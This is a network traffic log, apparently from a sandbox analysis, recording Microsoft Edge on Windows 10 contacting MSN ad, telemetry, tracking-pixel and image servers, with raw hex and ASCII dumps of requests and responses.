2024-11-24 18:11:58 UTC	1068	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=1F3CC8AC76826FD52AA3DDED77AB6EB5&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=528afb3e7eb8431fbaedf2ecaa6f1307 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1F3CC8AC76826FD52AA3DDED77AB6EB5; _EDGE_S=F=1&SID=36117CBD804B69B03A6369FC81ED6850; _EDGE_V=1
2024-11-24 18:11:59 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 24 Nov 2024 18:11:58 GMT Connection: close
2024-11-24 18:11:59 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	49820	52.182.143.211	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:58 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732471915190&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3779 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1F3CC8AC76826FD52AA3DDED77AB6EB5; _EDGE_S=F=1&SID=36117CBD804B69B03A6369FC81ED6850; _EDGE_V=1
2024-11-24 18:11:58 UTC	3779	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 34 54 31 38 3a 31 31 3a 35 35 2e 31 38 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 39 63 33 32 30 39 31 2d 63 34 36 38 2d 34 34 37 32 2d 38 30 31 37 2d 61 35 61 61 34 65 61 64 64 65 30 64 22 2c 22 65 70 6f 63 68 22 3a 22 31 35 35 39 37 34 37 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-24T18:11:55.185Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"49c32091-c468-4472-8017-a5aa4eadde0d","epoch":"15597478"},"app":{"locale":
2024-11-24 18:11:59 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=bffc187b0e024561ba7f08cc8b99679f&HASH=bffc&LV=202411&V=4&LU=1732471918904; Domain=.microsoft.com; Expires=Mon, 24 Nov 2025 18:11:58 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=7e4c07a8aaa245d9ac30cce3891b038c; Domain=.microsoft.com; Expires=Sun, 24 Nov 2024 18:41:58 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3714 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sun, 24 Nov 2024 18:11:58 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	49828	20.110.205.119	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:11:59 UTC	1261	OUT	GET /c.gif?rnd=1732471915191&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7802fdab79c14bad93100131b39abd85&activityId=7802fdab79c14bad93100131b39abd85&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=477706E2E3824BFEB5EF182FCAD13ED3&MUID=1F3CC8AC76826FD52AA3DDED77AB6EB5 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1F3CC8AC76826FD52AA3DDED77AB6EB5; _EDGE_S=F=1&SID=36117CBD804B69B03A6369FC81ED6850; _EDGE_V=1; SM=T
2024-11-24 18:11:59 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=1F3CC8AC76826FD52AA3DDED77AB6EB5; domain=.msn.com; expires=Fri, 19-Dec-2025 18:11:59 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=1F3CC8AC76826FD52AA3DDED77AB6EB5; domain=c.msn.com; expires=Fri, 19-Dec-2025 18:11:59 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Sun, 01-Dec-2024 18:11:59 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Sun, 24-Nov-2024 18:21:59 GMT; path=/; SameSite=None; Secure; Date: Sun, 24 Nov 2024 18:11:58 GMT Connection: close Content-Length: 42
2024-11-24 18:11:59 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	49833	23.96.180.189	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:01 UTC	1018	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=1F3CC8AC76826FD52AA3DDED77AB6EB5&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=bf9f4e1efb4342bcc3c35ed8d52a2682 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1F3CC8AC76826FD52AA3DDED77AB6EB5; _EDGE_S=F=1&SID=36117CBD804B69B03A6369FC81ED6850; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-24 18:12:01 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2586 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425505552-T700376466-C128000000002319229+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002319229+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 24 Nov 2024 18:12:01 GMT Connection: close
2024-11-24 18:12:01 UTC	2586	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 4e 6f 72 77 61 79 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 4e 6f 72 77 61 79 5c 22 2c 5c 22 63 6f 70 79 72 69 67 68 74 5c 22 3a 5c Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Norway\",\"cta\":\"https:\/\/www.bing.com\/search?q=Norway\",\"copyright\":\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	49834	104.117.182.56	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:02 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOZ9.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:12:02 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 23 Nov 2024 18:59:48 GMT X-Datacenter: eastus X-ActivityId: 74fbb662-ece7-4da9-bb97-bbbfcb9230c0 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOZ9 X-Source-Length: 54392 Content-Length: 54392 Cache-Control: public, max-age=348495 Expires: Thu, 28 Nov 2024 19:00:17 GMT Date: Sun, 24 Nov 2024 18:12:02 GMT Connection: close
2024-11-24 18:12:02 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-24 18:12:02 UTC	16384	IN	Data Raw: fc ce 6f 4c de 99 2c 95 67 6b 1e 84 3e e1 e2 f1 c1 25 d9 ea bf 73 b3 77 8c e1 f6 e3 71 78 df 44 ba f9 f2 3c 27 b6 2f 48 cf 08 bc eb 9e 7c 47 11 36 db dc 9a d7 24 e9 7d 0d b7 c5 71 1b 57 53 7a ff 00 97 8b da 1f d1 27 d1 37 91 9d a3 6d 7d c7 76 37 ea 25 b9 cb f4 d3 f8 2c 80 6e 71 fc 44 f2 6a 0b b2 fe 59 bd 12 3d 12 71 8b ca b9 d7 13 c4 c5 e9 bb 27 e7 af b4 37 fd 43 88 5f e2 fe 03 f4 49 7b 25 c8 9b 4b fe a1 c4 5e 50 ae 54 ff 00 73 ab 6b ee 29 c9 29 ed b5 6d 2b 4e fd a7 23 d9 34 76 3c 51 f3 5e d3 37 ac ca d4 ed 76 3e 95 4b b0 55 2e c4 a8 04 50 67 0c 6d 69 a2 d3 5c 85 81 94 a0 c6 41 49 ae 45 ac 2c 9c 0c d3 96 de cc 71 6e 49 45 5a 5e 6d f4 46 5a 19 24 78 3f 74 fb b6 d7 07 07 0d af 16 ec be 57 5e 18 e6 9c af f5 55 74 d2 cf 2b ee 5f 79 c4 fd 0e 12 55 76 a7 b9 96 Data Ascii: oL,gk>%swqxD<'/H\|G6$}qWSz'7m}v7%,nqDjY=q'7C_I{%K^PTsk))m+N#4v<Q^7v>KU.Pgmi\AIE,qnIEZ^mFZ$x?tW^Ut+_yUv
2024-11-24 18:12:02 UTC	1783	IN	Data Raw: 27 17 e1 ef 9b 57 4f 2d 35 79 de 87 e7 9a 75 5a 91 4d bc 8e 7f 6f 66 f8 47 dd ee 7f dc bb 31 c5 18 6c ce 54 e4 94 ad 24 d2 f9 5f 3d 73 67 9f ff 00 f9 3f 17 51 51 db da 8a 5a 3c f5 b3 e5 5e dc aa ea 84 95 12 f7 ed 7d 56 75 91 fa 14 7f ee 9d b5 b2 b1 6c 49 ee 52 ca 49 46 d7 5c af 5c cf 9f e3 fe f7 c5 71 b5 14 f0 46 db a5 a6 b6 dc 7c da 5c f9 1e 0d c4 96 67 95 5c 87 2c 57 89 b6 db ea d8 ad af 31 b9 36 6a 32 a7 89 b4 c9 a3 51 82 2d 52 05 26 51 21 49 30 aa bc 98 34 32 82 26 f9 d9 69 27 d5 2f 61 cc c2 46 5a 6b fe 84 15 28 b4 0c e8 b4 bb a2 1c 7a a2 a0 43 a3 18 a8 66 31 80 42 28 c4 c1 23 19 54 45 8d 09 cb 6e 49 c5 d3 47 ab b1 c5 bb 4e dc 26 9d c6 4b 46 9f 34 79 4e 86 8b aa fd a7 ed 9f 72 db fb 86 ca 84 9d 6f ed c5 63 5d 27 d3 14 7c fa ae 67 a3 2d 0f c3 b6 b7 e7 Data Ascii: 'WO-5yuZMofG1lT$_=sg?QQZ<^}VulIRIF\\qF\|\g\,W16j2Q-R&Q!I042&i'/aFZk(zCf1B(#TEnIGN&KF4yNroc]'\|g-
2024-11-24 18:12:02 UTC	16384	IN	Data Raw: 8e 95 13 83 6a b1 f8 9f fa f4 3b a5 71 55 97 5f 7e a6 a2 61 c6 50 bb 6d af 85 9d 4f 7a 12 8d 3b d1 69 91 e6 96 54 5c 2e 57 d8 e9 8f 87 4b fe 40 6d cb 04 d3 cf a3 09 2f 0e e7 c4 a8 e8 c3 77 d8 f7 78 69 c6 51 8a 49 e2 4b 0c 96 69 aa fe 7a f7 3c 28 bf 16 87 a5 c2 ce 3b 73 f1 2f 0c b4 eb 97 e7 32 af 5b e5 d3 3e 1e 49 e9 6a ee 9d 6b a7 6e 7c c9 a6 b4 67 5a 84 f6 b7 d4 d3 b8 ad 3b eb 9b a0 7b 9f 34 a9 67 f2 df 46 46 ac 52 a9 a4 92 6d a4 ef c8 e5 96 9a 74 3a b8 79 5c e2 de 97 9f 40 5b d0 a9 b3 6e 76 23 65 78 d3 ab a7 67 ad 85 db ac d6 ab f6 4c f1 ad c3 55 99 ea 6c 62 dc db 93 bd 60 d7 b9 ff 00 06 7b 2f 5f 61 a3 c4 2c 78 65 e1 e4 ff 00 73 bd 4a 2a 37 4b 12 f7 3b e8 78 fb d0 f0 e3 8f 3a 7d 8e ae 16 4b 75 38 49 d3 59 77 f3 33 67 8d 74 eb 7c e0 f2 db b5 69 51 cb 78 Data Ascii: j;qU_~aPmOz;iT\.WK@m/wxiQIKiz<(;s/2[>Ijkn\|gZ;{4gFFRmt:y\@[nv#exgLUlb`{/_a,xesJ*7K;x:}Ku8IYw3gt\|iQx
2024-11-24 18:12:02 UTC	3976	IN	Data Raw: 63 01 8e 88 dd 61 8e 8d e6 ff 00 80 0b 30 f6 ac 09 71 a1 16 dd af 6b 26 9f 2c c0 a8 67 6c a6 f9 8b b1 a3 17 3b f6 f4 40 4b 09 1d 89 49 62 75 15 f5 f7 05 f4 94 53 b6 b4 eb 44 cf 72 fc 31 c8 2a 70 c2 2a d5 d9 51 78 b3 59 f5 e5 a0 07 25 a6 7f c0 af a8 57 5f a8 a2 ef 37 d2 c4 f7 1b 79 9c 97 d4 69 d8 41 dc f4 a6 0d b0 6f cc 4c 0a 6c b4 0a 36 e5 e4 1d 73 01 37 41 36 d7 ea 7f 00 15 61 db c2 92 e4 14 47 26 c6 9b 1c 20 e4 b1 3d 02 c7 6a 4f 59 3c 11 e6 f3 7e 4b f2 80 2a e2 77 df 87 13 9f 25 24 a7 ff 00 ad 33 b2 13 db 8a 6f 71 db 7f a6 09 25 ef fc 28 e1 9e fe de dc 70 c1 25 df af 9b 7f 9a 3c df 51 e1 ac d9 07 b5 ea 70 f7 6d 4f 4c 96 28 a5 5f fd 59 b7 38 bd a7 b4 b6 e3 15 86 16 e2 b1 37 af 37 55 6f bb b3 c3 c4 c6 9f 6f 78 5d 76 c6 73 f4 b7 7c 55 17 86 4e 2b 4b 72 d2 Data Ascii: ca0qk&,gl;@KIbuSDr1pQxY%W_7yiAoLl6s7A6aG& =jOY<~K*w%$3oq%(p%<QpmOL(_Y877Uoox]vs\|UN+Kr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	49835	104.117.182.56	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 18:12:02 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOZa.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 18:12:02 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOZa Last-Modified: Fri, 15 Nov 2024 07:23:40 GMT X-Source-Length: 110548 X-Datacenter: westus X-ActivityId: 1c1561fa-e2a7-4aa4-b29b-4f822fb442fe Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 110548 Cache-Control: public, max-age=393075 Expires: Fri, 29 Nov 2024 07:23:17 GMT Date: Sun, 24 Nov 2024 18:12:02 GMT Connection: close
2024-11-24 18:12:02 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-24 18:12:02 UTC	16384	IN	Data Raw: 4d 57 22 e2 d6 73 a5 ae 1a 1e c5 97 de ba 22 c6 bb 72 8e 69 90 aa b2 1d 8c 46 92 11 25 4f c2 a9 e9 8d 81 54 91 04 59 95 7b 22 fa 43 7a af a7 bd 12 84 52 25 0f d3 3b 51 bd 33 b5 32 d7 a6 00 3d 33 b4 27 e9 94 68 70 d0 aa 49 0a 84 53 03 95 70 bb 62 2c 95 79 28 cc 08 d0 76 2c 52 f1 4a c2 e4 01 15 6a 91 20 e8 16 c3 10 04 64 ee a6 60 0b 70 a5 20 41 85 6c 2a 5e 15 52 d8 4e 40 04 2d ba 24 1d 85 59 ad 77 45 19 0c 1a 11 2a 6e 0d a6 56 40 0a 25 14 45 00 ec ed 57 c2 75 3d 88 d3 b9 3b ec 4b 31 c2 06 1a 36 27 08 8b 2c 33 2a 4a 90 50 9a 2f b7 72 1e 20 72 9f 92 63 36 16 42 65 d0 80 e7 a5 23 09 10 a9 28 38 c9 d1 54 a4 20 86 a5 94 5c 4e 56 96 ef 55 94 01 58 29 e1 4e 37 a7 84 aa 26 4c c2 ab 0b 60 ab 41 4c 01 d9 3b 22 e1 2a b8 4a 62 29 6d a9 c0 dc af 85 3c 08 10 3c 03 77 62 Data Ascii: MW"s"riF%OTY{"CzR%;Q32=3'hpISpb,y(v,RJj d`p Al^RN@-$YwEnV@%EWu=;K16',3JP/r rc6Be#(8T \NVUX)N7&L`AL;"Jb)m<<wb
